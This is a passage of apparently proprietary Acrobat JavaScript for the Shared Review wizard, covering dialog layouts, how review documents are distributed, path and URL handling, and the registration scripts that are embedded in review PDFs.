															name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_PRIVACY_POLICY_LINK,

															item_id:"poul"

														},

													]

												},

											]

										},

										{

											type: "gap",

											height: 10,

										},

									]	

								},

							]

						},

						{

							type:"view",

							align_children: "align_top",

							alignment: "align_fill",

							//margin_height: Collab.marginHeight, 

							margin_width: Collab.wizardMarginWidth,

							elements:

							[

								{

									type:"view",

									align_children:"align_left",

									width: 230,

									elements:

									[

										{

											type:"check_box",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_CHECK_PASSWORD_ME,

											item_id:"rmbm"

										},

									]

								},

								{

									type: "gap",

									width: 18,

								},

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type:"static_text",

											width: 230,

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERIC,

											wrap_name:true,

											item_id: "eror"

										}

									]

								},

							]

						}

					]

				},

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	};



	IWSharedReviewDocCenterCreateConfirm = function(reviewType)

	{

		var description = 

		{

			reviewType: reviewType,

			initialize: function(dialog)

			{

				var o = dialog.store();

    			var toLoad = 

    			{

    				"eMl1": this.data.mail

    			};

    			var toShow = {};

    			toShow.prev = (this.data.reviewType != "DocCenterSignup");

    			toShow.help = false;  			

    			

    			dialog.focus("resd");

    			dialog.visible(toShow);

				dialog.load(toLoad);

			},



			idle: function(dialog)

			{

			},



			commit: function(dialog, next)

			{

			},

			

			"resd": function(dialog)

			{

				app.beginPriv();

				var verifyResult = Collab.swSendVerifyEmail(this.data.user, this.data.pswd);

				app.endPriv();

				DebugPrinltn("Collab.swSendVerifyEmail: result:"+verifyResult);

			},



			description:

			[

				{

					type: "view",

					width: Collab.wizardWidth,

					height: Collab.wizardHeight,

					//margin_height: Collab.marginHeight,

					//margin_width: Collab.wizardMarginWidth, 

					align_children: "align_left",

					alignment: "align_fill",

					elements:

					[

						{

							type:"view",

							align_children: "align_top",

							alignment: "align_fill",

							//margin_height: Collab.marginHeight, 

							margin_width: Collab.wizardMarginWidth,

							width: 510,

							elements:

							[

								{

									type:"view",

									align_children:"align_left",

									elements:

									[

										{

											type:"gap",

											height: 2,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY,

											bold:true,

											font: "dialog",

										},

										{

											type:"gap",

											height: 2,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR1,

											wrap_name:true,

											width: 510

										},

										{

											type:"static_text",

											name:"",

											item_id:"eMl1",

											bold:true,

											width: 510,

											font:"dialog"

										},

										{

											type:"gap",

											height: 2,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR2,

											wrap_name:true,

											width: 510

										},

										{

											type:"gap",

											height: 2,

										},

										{

											type:"static_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_VERIFY_INSTR3,

											wrap_name:true,

											width: 510

										},

										{

											type:"gap",

											height: 2,

										},

										{

											type:"link_text",

											name:AnnotsString.IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_RESEND,

											item_id:"resd"

										}

									]

								}

							]

						}

					]

				}

			]		

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



	CBSharedReviewDistributeStepDescription = function()

	{

		var description = 

		{

			initialize: function(dialog)

			{

				this.data.docWarningPopped = false;



				app.beginPriv();

				Collab.updateMountInfo();

				app.endPriv();



				var oldName = this.data.doc.documentFileName;

				var oldPath = this.data.doc.path;

				var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

				this.data.cDocumentName = oldName.replace(/.pdf$/i, "") + AnnotsString.IDS_SHARED_REVIEW_FILE_EXT;

				this.data.cDocumentPath = newPath + this.data.cDocumentName;



				if(typeof this.data.distributionMethod == "undefined")

					this.data.distributionMethod = "EMAIL";



				var toLoad = {};



				switch(this.data.distributionMethod)

				{

					case "MANUAL":

					case "EMAIL":

						app.beginPriv();

						var path = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

						app.endPriv();

						toLoad.dest = (this.data.doc.requiresFullSave) ? "" : path;

						break;



					case "UPLOAD":

						toLoad.dest = this.data.distributionURL;

						break;

				}



				if(typeof this.data.previousDestination != "undefined")

					toLoad.dest = this.data.previousDestination;



				switch(this.data.distributionMethod)

				{

					default:

					case "EMAIL":

						toLoad.invi = true;

						toLoad.attc = true;

						toLoad.bmsg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL;

						break;



					case "UPLOAD":

						toLoad.invi = true;

						toLoad.send = true;

						toLoad.bmsg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_REMOTE;

						break;



					case "MANUAL":

						toLoad.save = true;

						toLoad.bmsg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL;

						break;

				}



				dialog.load(toLoad);

				dialog.focus("dest");

			},



			"invi": function(dialog)

			{

				// Send Review Invitation - switch the text

				var props = dialog.store();

				if(props.attc) this.attc(dialog);

				else if(props.send) this.send(dialog);



				var toEnable = 

				{

					"attc": true,

					"send": true,

				};

				

				dialog.enable(toEnable);

			},



			"attc": function(dialog)

			{

				// Send Review Invitation w/attachment - switch the text

				var toLoad = 

				{

					bmsg: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL,

				};

				

				// Bugfix #1391364 - preload the control with the default save location for links

				app.beginPriv();

				var path = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

				app.endPriv();

				toLoad.dest = (this.data.doc.requiresFullSave) ? "" : path;



				if(typeof this.data.previousDestination != "undefined")

					toLoad.dest = this.data.previousDestination;

			

				var props = dialog.store();

				if(props.invi && !props.attc && !props.send)

					toLoad.attc = true;

					

				dialog.load(toLoad);

			},



			"send": function(dialog)

			{

				// Bugfix #1391364 - preload the control with the default save location for links

				var cDefaultLink = this.data.server.Settings.cSetting; // TODO: Fix in 9.0

				if(!cDefaultLink.match(/^(http[s]?|file):\/\//i))

					cDefaultLink = ANSMBURLToPlatformPath(cDefaultLink);

				cDefaultLink += this.data.cDocumentName;

			

				// Send Review Invitation w/link - switch the text

				var toLoad = 

				{

					bmsg: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_REMOTE,

					dest: cDefaultLink,

				};

				

				var props = dialog.store();

				if(props.invi && !props.attc && !props.send)

					toLoad.attc = true;

					

				dialog.load(toLoad);

			},



			"save": function(dialog)

			{

				// Send Review Invitation w/link - switch the text

				var toLoad = 

				{

					bmsg: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL,

				};

				

				// Bugfix #1391364 - preload the control with the default save location for links

				app.beginPriv();

				var path = Collab.convertDIPathToPlatformPath(this.data.cDocumentPath);

				app.endPriv();

				toLoad.dest = (this.data.doc.requiresFullSave) ? "" : path;

			

				// Publish file to a server - switch the text

				dialog.load(toLoad);



				var toEnable = 

				{

					"attc": false,

					"send": false,

				};

				

				dialog.enable(toEnable);

			},



			"brws": function(dialog)

			{				

				var browseProps = 

				{

					bSave: true,

					cFilenameInit: this.data.cDocumentName, 

					bUnicode: true,

				}

				

				var props = dialog.store();

				this.data.distributionMethod = "EMAIL";

				if(props.send)

				{

					this.data.distributionMethod = "UPLOAD";

					browseProps.cFSInit = fileSystem.WebDAV;

				}

				else if(props.save)

				{

					this.data.distributionMethod = "MANUAL";

				}



				app.beginPriv()

				var path = app.browseForDoc(browseProps);

				app.endPriv();



				if(path)

				{

					try

					{

						var saveURL;

						this.data.distributionFS = path.cFS;



						switch(this.data.distributionMethod)

						{

							case "EMAIL":

							case "MANUAL":

								app.beginPriv();

								saveURL = Collab.convertDIPathToPlatformPath(path.cPath);

								app.endPriv();

								this.data.cDocumentPath = path.cPath;

								this.data.cDocumentName = path.cPath.substring(path.cPath.lastIndexOf('/') + 1, path.cPath.length);

								break;

								

							case "UPLOAD":

								saveURL = this.normalizeURL(path.cURL);

								var validLocation = (saveURL.substring(0, 5) == "http:") ||

													(saveURL.substring(0, 4) == "smb:");

							    if (!validLocation)

							    {

									app.beginPriv();

							        app.alert(AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION);

									app.endPriv();

							        DebugThrow ("Non-shared folder");

							    }



								if(app.platform == "WIN" && path.cFS != fileSystem.WebDAV)

								{

									app.beginPriv();

									saveURL = ANSMBURLToPlatformPath(saveURL);

									app.endPriv();

								}



								this.data.distributionURL = saveURL;

								break;

						}



						dialog.load({dest: saveURL});

					}

					catch (e)

					{

						if (e.message == "Volume Mount Exception")

						{

							var errMsg;

							switch (Number(e.errorCode))

							{

								case 1:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_TYPE_ERROR;

									break;

								case 3:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_MOUNT_ERROR;

									break;

								default:

									errMsg = AnnotsString.IDS_SHARED_REVIEW_VOLUME_ERROR;

									break;

							}



							app.beginPriv();

							app.alert(errMsg);

							app.endPriv();

							DebugThrow ("VolMountError");

						}

					}

				}

			},



			normalizeURL: function(url)

			{

				// The Collab.uriNormalize function may need to access the file system

				// to perform its function. For this reason we need to pass it a valid

				// path. Since the file that is selected in browseForDoc may not exist

				// the path stored in url may not be fully resolvable. So, we need to strip

				// off the file portion of the url before passing it to Collab.uriNormalize.

				// After normalizing the url we need to append the file portion back on

				// to the url.

				/*

                This function is not used anymore in the new Shared Review Wizard. 

                If you start using it please ensure that URL is proparly escaped in uriNormalize

                method as it will eventually unescape

                */

				var lastSepIndex = url.lastIndexOf('/');

				if (lastSepIndex >= 0)

				{

					var dirURL = url.substr(0, lastSepIndex + 1);

					var suburl = url.substr(lastSepIndex + 1);

					app.beginPriv();

					url = Collab.uriNormalize(dirURL) + suburl;

					app.endPriv();

				}

				

				return url;

			},

			

			fixURL: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

				{

					// trailing slash? add a file name

					url = url.replace(/\\\.?$/, "\\" + this.data.cDocumentName);

				}

				else

					// trailing slash? add a file name

					url = url.replace(/\/\.?$/, "/" + this.data.cDocumentName);

				

				// no .pdf ending? add it

				if(!url.match(/\.pdf$/i))

				{

					if(url.match(/\.$/))

						url += "pdf";

					else

						url += ".pdf";

				}

					

				return url;

			},



			getFS: function(url)

			{

				if(url.match(/^\\\\/) || url.match(/^.+:\\/)) // really a windows path

					return fileSystem['default'];

				else if(url.match(/^file:\/\//) || url.match(/^smb:\/\//)) // SMB URL

					return fileSystem['default'];

				else return fileSystem.WebDAV;

			},



			getSeparator: function(url)

			{

				var pathSep = "/";

				if(url.match(/^\\\\/) || url.match(/^.+:\\/)) // really a windows path

				{

					pathSep = "\\";

				}

				else if(url.match(/^(http[s]|file):\/\//)) // URL Scheme

				{

					pathSep = "/";

				}



				return pathSep;

			},



			getFilename: function(url)

			{

				var pathIndex = url.lastIndexOf(this.getSeparator(url));

				if (pathIndex >= 0) url = url.substr(pathIndex + 1);



				return url;

			},



			getDirectory: function(url)

			{

				var pathIndex = url.lastIndexOf(this.getSeparator(url));

				if (pathIndex >= 0) url = url.substr(0, pathIndex + 1);



				return url;

			},



			URLToDiPath: function(url)

			{

				if(url.match(/^\\\\/)) // really a windows network path

					url = url.replace(/\\/g, "/").replace(/^\/\//, "/");

				else

				{

					url = url.replace(/^file:\/\/localhost\//, "/");

					url = url.replace(/^file:\/\/\//, "/");

					url = url.replace(/^file:\/\//, "/");

					url = url.replace(/^\/([^\/]+)\|\//, "/$1/");

				}

				return unescape(url);				

			},



			URLPartialOk: function(dest)

			{

				switch(app.platform)

				{

					case "MAC": 

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/)|(?:smb:\/\/).+\/.*$/);

					case "WIN":

						return dest.match(/^(?:http[s]?:\/\/.+\/.*$)|(?:file:\/\/.+\/.*$)|(?:\\\\[^\\]+\\.*$)/);

					default:

						return dest.match(/^(?:http[s]?:\/\/)|(?:file:\/\/\/).+\/.*$/);

				}	

			},



			idle: function(dialog)

			{

				// XXX this stinks

				if(this.data.doc && !this.data.docWarningPopped)

				{

					this.data.docWarningPopped = true;

					this.data.docModifiable = 

						this.data.doc.requestPermission(permission.document, permission.modify) == permission.granted;



					app.beginPriv();

					if(this.data.doc.certified)

						app.alert({cMsg: AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIED});

					else if(!this.data.docModifiable)

					{

						var str = AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_NOT_MODIFIABLE;

						if(Collab.isSharedReview(this.data.doc))

							str = AnnotsString.IDS_SHARED_REVIEW_UPLOAD_STEP_DOC_IS_SHARED_REVIEW;

						app.alert({cMsg: str});

					}

					app.endPriv();

				}



				var props = dialog.store();

				var toEnable = { next: true };



				// Update the next button

				if(props.send && props.invi)

				{

					var partialOKURL = this.URLPartialOk(props.dest);

					if(this.data.doc != null)

					{

						var dispVal = partialOKURL ?

							AnnotsString.IDS_SHARED_REVIEW_UPLOAD_TEMPLATE.replace(/%url%/, this.fixURL(props.dest)) :

							AnnotsString.IDS_SHARED_REVIEW_UPLOAD_TEMPLATE.replace(/%url%/, "--");

						

						if(props.disp != dispVal)

							dialog.load({disp: dispVal });

						

						toEnable.next = this.data.docModifiable && !this.data.doc.certified && partialOKURL != null;

					}

				}

				else

				{

					toEnable.next = this.data.docModifiable && !this.data.doc.certified && 

									props.dest != null && props.dest.match(/\.pdf$/i) != null;

				}



				dialog.enable(toEnable);

				dialog.visible({disp: props.send && props.invi});

			},



			commit: function(dialog, next)

			{

				if(next)

				{

					var props = dialog.store();



					var locationProps = {};



					// The radios look like:

					// *invi

					//   *attc

					//   *send

					// *save   

					// This gives 3 possible states since we ignore attc and send if save is selected

					if(props.save)

					{

						// Don't send, save a copy locally			

						this.data.distributionMethod = "MANUAL";

						this.data.distributionFS = this.getFS(props.dest);

						this.data.msg = "";

						

						app.beginPriv();

						locationProps.cFilePath = Collab.convertPlatformPathToDIPath(props.dest);

						app.endPriv();

						locationProps.cDisplay = props.dest;

						locationProps.cFS = null;

					}

					else if(props.attc)

					{	

						// Send an attachment and save a copy locally				

						this.data.distributionMethod = "EMAIL";

						this.data.distributionFS = this.getFS(props.dest);

						this.data.msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL;

						this.data.msg = this.data.msg.replace(/%review_name%/, this.data.cDocumentName );



						app.beginPriv();

						locationProps.cFilePath = Collab.convertPlatformPathToDIPath(props.dest);

						app.endPriv();

						locationProps.cDisplay = props.dest;

						locationProps.cFS = null;

					}

					else

					{

						// Save remotely and send a link

						this.data.distributionMethod = "UPLOAD";

						var fixedDest = this.fixURL(props.dest);

						this.data.distributionURL = fixedDest;

						this.data.distributionFS = this.getFS(this.data.distributionURL);

						this.data.msg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAIL;

						this.data.msg = this.data.msg.replace(/%review_url%/, this.data.distributionURL);



						// if the distribution FS is CHTTP then just use the destination path as is;

						// otherwise convert the path to a DI path.

						if (this.data.distributionFS == "CHTTP")

						{

						    if (this.data.server.Settings.bUseWindowsIntegratedAuthentication)

								locationProps.cFS = "CSSO";

							else

								locationProps.cFS = "CHTTP";

							locationProps.cFilePath = fixedDest;

						}

						else

						{

							app.beginPriv();

							locationProps.cFilePath = Collab.uriToDIPath(encodeURIComponent(ANPlatformPathToURL(fixedDest)));

							app.endPriv();

    						locationProps.cFS = this.data.distributionFS;

						}



						locationProps.cDisplay = locationProps.cFilePath;

						this.data.cDocumentPath = locationProps.cFilePath;

					}



					var validLocation = false;



					try 

					{ 

						locationProps.cPath = locationProps.cFilePath;

						

						app.beginPriv();

						validLocation = Collab.isPathWritable(locationProps) &&

						                app.isValidSaveLocation(locationProps);

						app.endPriv();

					}

					catch(e)

					{

					    // possible error codes that isValidSaveLocation throws:

		                //  1. InvalidPathParam - specified path cannot be resolved (default)

                        //  2. NoOverwrite - no write access to specified directory/file

		                //  3. UnsafePathname - file contains an invalid character

						var msg;

						if (e.errorCode == 3)

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_FILENAME;

						else if (e.errorCode == 2)

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_WRITE_DENIED;

						else

						    msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_BAD_LOCATION;



						app.alert(msg);

						DebugThrow ("BadLocation");

					}



                    if (!validLocation)

                    {

						var msg = AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_OVERWRITE;

						msg = msg.replace(/%sFilename%/, locationProps.cDisplay);

						app.beginPriv();

						if(app.alert(msg, 2, 2) != 4)

							DebugThrow ("CannotOverwrite");

						app.endPriv();

                    }



					this.data.cDocumentPath = locationProps.cFilePath;

					this.data.cDocumentName = this.data.cDocumentPath.substring(this.data.cDocumentPath.lastIndexOf('/') + 1, this.data.cDocumentPath.length);



					this.data.previousDestination = props.dest;

				}

			},



			description: 

			[

				{

					type: "view",

					align_children: "align_left",

					elements:

					[

						{

							type: "radio",

							item_id: "invi",

							group_id: "dist",

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SEND_INVITE

						},

						{

							type: "view",

							align_children: "align_row",

							elements:

							[

								{

									type: "gap",

									width: 20,

								},

								{

									type: "view",

									elements:

									[

										{

											type: "radio",

											item_id: "attc",

											group_id: "type",

											name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_ATTACH_TO_EMAIL

										},

										{

											type: "radio",

											item_id: "send",

											group_id: "type",

											name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SEND_URL

										},

									]

								},

							]

						},

						{

							type: "radio",

							item_id: "save",

							group_id: "dist",

							name: AnnotsString.IDS_SHARED_REVIEW_SAVE_LOCAL

						},

						{

							type: "static_text",

							item_id: "bmsg",

							wrap_name: true,

							width: Collab.wizardWidth,

							name: AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTION_SELECT_LOCATION_LOCAL,

						},

						{

							type: "view",

							alignment: "align_fill",

							align_children: "align_row",

							elements:

							[

								{

									type: "edit_text",

									item_id: "dest",

									alignment: "align_fill",

                                    readonly: app.isProtectedModeEnabled,

								},

								{

									type: "button",

									name: AnnotsString.IDS_BROWSE,

									item_id: "brws"

								},

							]

						},

						{

							type: "static_text",

							alignment: "align_fill",

							truncate: "truncate_middle",

							item_id: "disp"

						},

					]

				}

			]

		};



		app.beginPriv();

		description = ANTrustPropagateAll(description);

		app.endPriv();

		

		return description;

	}



    //The sole purpose of CBSharedReviewCompleteAutomation function is to initiate a Shared Review via automation. 



	CBSharedReviewCompleteAutomation = app.trustedFunction(function (doc, serverType, serverURL, reviewFileName, reviewFileLocation, initiatorEmail, reviewMethod, requiredReviewers, optionalReviewers) {



	    if (doc && Collab.isDocDirty(doc)) {

	        app.beginPriv();

	        app.alert({ cMsg: AnnotsString.IDS_SEND_FOR_REVIEW_DOC_DIRTY, oDoc: doc });

	        app.endPriv();

	        return 0;

	    }



	    if (doc && Collab.isInvalidSaveLocation(doc)) {

	        app.beginPriv();

	        app.alert({ cMsg: AnnotsString.IDS_SEND_FOR_REVIEW_SAVE_OTHER, oDoc: doc });

	        app.endPriv();

	        return 0;

	    }



	    var bIsValid = ANValidateIdentity();



	    var data = {};

	    data.docsOpenedByWizard = [];



	    if (doc && doc.path) {

	        data.docPath = doc.path;

	        data.doc = doc;

	    }

	    

	    data.reviewID = Collab.createUniqueDocID();



	    app.beginPriv();

	    data.servers = [];

	    data.drivers = {};



	    //If we are here that means it is either AcroPro, AcroStandard or Acro Apex. 

	    //We don't have UB in standard or 'Exchange'

	    data.readerEnable = (app.viewerType != "Exchange")



	    data.reqR = SplitAddrs(requiredReviewers);



	    data.optR = SplitAddrs(optionalReviewers);



	    for (var i in Collab.drivers) {

	        var driver = Collab.drivers[i];

	        if (driver.canInitiateWorkflow("SharedReview")) {

	            if (!driver.isDocCenterWorkflow()) {

	                data.servers[data.servers.length] = driver;

	                data.drivers[driver.driverURL] = driver;

	                //console.println("$$$> driver.driverURL = " + driver.driverURL);

	            }

	            else {

	                data.dcDriver = driver;

	            }

	        }

	    }

	    app.endPriv();



	    //Run the shared review wizard

	    //Start the payload for shared review

	    var logEventParams = {};

	    var startPayloadParams = {};

	    var addStringToPayloadParams = {};

	    startPayloadParams.cat = "SharedReview";

	    startPayloadParams.subcat = "SharedReviewPayload";

	    startPayloadParams.evnt = "SharedReviewPayload";

	    app.beginPriv();

	    Collab.AVUMStartPayloadWrapper(startPayloadParams);

	    app.endPriv();



	    data.reviewType = 'SharedReview';

	    data.WT = '_SR';

	    data.UseDocumentCenter = 0;

	    data.UB = '_UB';

	    data.cannedSubj = 'Please join the review';

	    data.cannedMsg = 'You are invited to participate in a shared review';

	    data.docAlreadyOpened = 1;

	    data.delayOpenDoc = 1;

	    data.checkSize = 0;

	    data.isApproval = 0;

	    data.docModifiable = 1;

	    data.addInternalServer = 0;

	    data.yurl = serverURL;

	    data.cDocumentName = reviewFileName;

	    data.cDocumentPath = reviewFileLocation;

	    data.distributionMethod = reviewMethod;

	    data.overwriteIsImplicit = 0;

	    data.doOverwrite = 1;

	    data.deliveryMethodLinkClicked = 0;

	    data.deadlineIsSet = 1;

	    data.msg = '';

	    data.subj = 'Please join the review';

	    data.msgChanged = 0;

	    data.raddr = initiatorEmail;

	    data.accessLevel = '0';

	    data.deadline = '';

	    data.internalDeadline = '';

	    data.oDeadline = '';

	    data.result = 'fnsh';

	    data.server = {};

	    data.server.AlwaysUseServer = 0;

	    data.server.AlwaysUseServerFD = 0;

	    data.server.Default = 1;

	    data.server.DistMethod = reviewMethod;

	    data.server.Settings = {};

	    data.server.Settings.cSetting = serverURL;

	    data.distributionURL = serverURL + reviewFileName;



	    switch (serverType) {

	        case "NETWORK":

	            {

	                data.serverType = '&Network folder';

	                data.distributionFS = '';

	                data.server.UI = 'My Network Folder (send as link)';

	                data.server.URL = 'urn://ns.adobe.com/Collaboration/SharedReview/SMB';

	                data.server.Settings.bUseWindowsIntegratedAuthentication = 0;

	                break;

	            }



	        case "SHAREPOINT":

	            {

	                data.serverType = '&SharePoint subsite*';

	                data.distributionFS = 'CSP';

	                data.server.UI = 'My SharePoint Subsite';

	                data.server.URL = 'urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint';

	                data.server.Settings.bUseWindowsIntegratedAuthentication = 1;

	                break;

	            }

	        case "WEBDAV":

	            {

	                data.serverType = '&Web server folder';

	                data.distributionFS = 'CHTTP';

	                data.server.UI = 'My Web Folder (manually send)';

	                data.server.URL = 'urn://ns.adobe.com/Collaboration/SharedReview/WebDAV';

	                data.server.Settings.bUseWindowsIntegratedAuthentication = 0;

	                break;

	            }

	    }



	    if (!requiredReviewers && ((reviewMethod == 'EMAIL') || (reviewMethod == 'UPLOAD')))

	        app.alert("ERROR: requiredReviewers field cannot be empty!");

	    else

	        CBSharedReviewComplete(data, 1);



	})



	CBSharedReviewComplete = function(data, automation)

	{

		var driver = (data.UseDocumentCenter) ? data.dcDriver : data.drivers[data.server.URL];

		var maxStr = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE.replace(/{cStatus}/, AnnotsString.IDS_SHARED_REVIEW_COMPLETE_ERROR.replace(/%error%/, AnnotsString.IDS_NETWORK_NO_CONNECT));

		

		var title;

        

        if (data.reviewType == "SharedReviewEmail")

		{

		    if(data.action == "ChangeDeadline")

		        title = AnnotsString.IDS_TRACKER_ACTION_CHANGE_DEADLINE;

		    else if(data.action == "AddReviewers")

		        title = AnnotsString.IDS_TRACKER_ACTION_ADD_REVIEWERS; 

        }

		else

			title = AnnotsString.IDS_SHARED_REVIEW_COMPLETE_STEP_TITLE;

		

		DebugPrintln("The driver is:"+driver);

		ANDumpObj(driver);

		

		app.beginPriv();

		var progressInfo = Collab.getProgressInfo();

		app.endPriv();

		

		var dialog = 

		{

			oDialog: null,

			nCurrentTask: 0,

			oDriver: driver,

			oProgressInfo: progressInfo,



			data: data,

			oTaskSet: null,

			cDocumentPath: null,

			bDoCommit: false,

			aCompleteTasks: [],



			oSaveFileTasks:

			{

				// Make the document a shared review

				runTask: function(cxt, taskData)

				{

					//DebugAlert("inside runTask of oSaveFileTasks");

					

					taskData.cxt = cxt;

					var data = cxt.data;

					

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_START);

					

					// Bugfix #1353420 - Don't redo this once it's been done

					if(data.saved)

					{

						cxt.handleSuccess();

						return;

					}



					try

					{

						var id = data.complete.id;

						var bezelMessage = "";



						if (data.UseDocumentCenter)

						{

							var sourceURL = cxt.data.dcWorkspaceURL;

							DebugAlert("Saving the file for dc case with workspaceURL: sourceURL:"+sourceURL);

							

							app.beginPriv();

							var eaddr = data.user;

							app.endPriv();

							

							bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_DC;

						}

						else

						{

							app.beginPriv();

							var sourceURL = Collab.uriConvertReviewSource(data.complete.sourceURL);

							var eaddr = identity.email;

							app.endPriv();

							

							switch(data.distributionMethod)

							{

								case "EMAIL":

								{

									bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_ATTACH;

									break;

								}

								case "UPLOAD":

								{

									switch (data.serverType)

									{

										case AnnotsString.IDS_SHARED_REVIEW_SMB_NAME:

										{

											bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_SMB_UPLOAD;

											break;

										}

										case AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_NAME:

										{

											bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_SHAREPOINT_UPLOAD;

											break;

										}

										case AnnotsString.IDS_SHARED_REVIEW_WEBDAV_NAME:

										{

											bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_WEBDAV_UPLOAD;										

											break;

										}

									} 

									break;

								}

								case "MANUAL":

								{

									bezelMessage = AnnotsString.IDS_SHARED_REVIEW_STATUS_INITIATE_MANUAL;

									break;

								}

							}

						}

						

						var params = 

						{

							doc: data.doc,

							initiator: eaddr,

							id: data.reviewID,

							source: sourceURL,

							driver: data.complete.driver.driverURL,

							invitees: data.complete.to,

							cc: data.complete.cc,

							sentDate: data.complete.initDate,

							deadDate: (data.internalDeadline != "") ? data.oDeadline : false,

							requireSave: data.distributionMethod == "UPLOAD",

							ui: false,

							distributionMethod: data.distributionMethod,

							versionInfo: app.viewerVersion,

							accessLevel: Math.abs(data.accessLevel),

							bezelMessage: bezelMessage,

						};



					    DebugPrintln("Registering review - params:");

					    //DebugAlert("Registering review - params:");

					    //for (var prop in params) console.println(prop + " => " + params[prop]);

					    

						// Register the review for the initiator BEFORE adding to the doc

						app.beginPriv();

						Collab.registerReview(params);

						app.endPriv();



						var bUB = data.readerEnable;

						var scriptProps = 

						{

							cAcroVersion: AnnotsString.IDS_SEND_FOR_REVIEW_VERSION_ERR,

							initiator: eaddr,

							reviewID: data.reviewID,

							reviewSource: sourceURL,

							driverURI: driver.driverURL,

							to: data.complete.to,

							cc: data.complete.cc,

							initDate: data.complete.initDate,

							requireSave: data.distributionMethod == "UPLOAD",

							deadDate: (data.internalDeadline != "") ? data.oDeadline : false,

							distributionMethod: data.distributionMethod,

							versionInfo: app.viewerVersion,

							accessLevel: Math.abs(data.accessLevel),

						};



						var cScript = bUB ? 

							CBFreezeFunc(function()

							{

								if(app.viewerVersion >= 8 && 

									(!app.viewerType.match(/Reader/) ||

									(requestPermission(permission.annot, permission.create) == permission.granted)))

								{

									var msg = 

									{

										doc: this,

										initiator: "{initiator}",

										id: "{reviewID}",

										source: "{reviewSource}",

										driver: "{driverURI}",

										invitees: "{to}",

										sentDate: "{initDate}",

										deadDate: "{deadDate}",

										requireSave: "{requireSave}",

										cc: "{cc}",

										distributionMethod: "{distributionMethod}",

										versionInfo: "{versionInfo}",

										accessLevel: "{accessLevel}",

									};



									Collab.registerReview(msg);

								}

							}, scriptProps ) + "()" :

							CBFreezeFunc(function()

							{

								if(app.viewerVersion >= 8 && 

									!app.viewerType.match(/Reader/))

								{

									var msg = 

									{

										doc: this,

										initiator: "{initiator}",

										id: "{reviewID}",

										source: "{reviewSource}",

										driver: "{driverURI}",

										invitees: "{to}",

										sentDate: "{initDate}",

										deadDate: "{deadDate}",

										requireSave: "{requireSave}",

										cc: "{cc}",

										distributionMethod: "{distributionMethod}",

										versionInfo: "{versionInfo}",

										accessLevel: "{accessLevel}",

									};



									Collab.registerReview(msg);

								}

							}, scriptProps ) + "()";



						var cVersionScript = CBFreezeFunc(function()

						{

							if (this.ADBE == undefined)

								this.ADBE = new Object();

								

							ADBE.LANGUAGE = "{cLanguage}";

							ADBE.Viewer_string_Title = "{cTitle}";

							if(app.language == ADBE.LANGUAGE)

							{

							    ADBE.Viewer_RMA_string_Reader = "{cReader}";

							    ADBE.Viewer_RMA_string_Viewer_Old = "{cViewerOld}";

							    ADBE.Viewer_RMA_string_Viewer = "{cViewer}";

							    ADBE.Viewer_RMA_string_Reader_9_OrLater = "{cReader9OrLater}";								

							}

							else

							{

							    ADBE.Viewer_RMA_string_Reader = "{cReaderENU}";

							    ADBE.Viewer_RMA_string_Viewer_Old = "{cViewerOldENU}";

							    ADBE.Viewer_RMA_string_Viewer = "{cViewerENU}";														

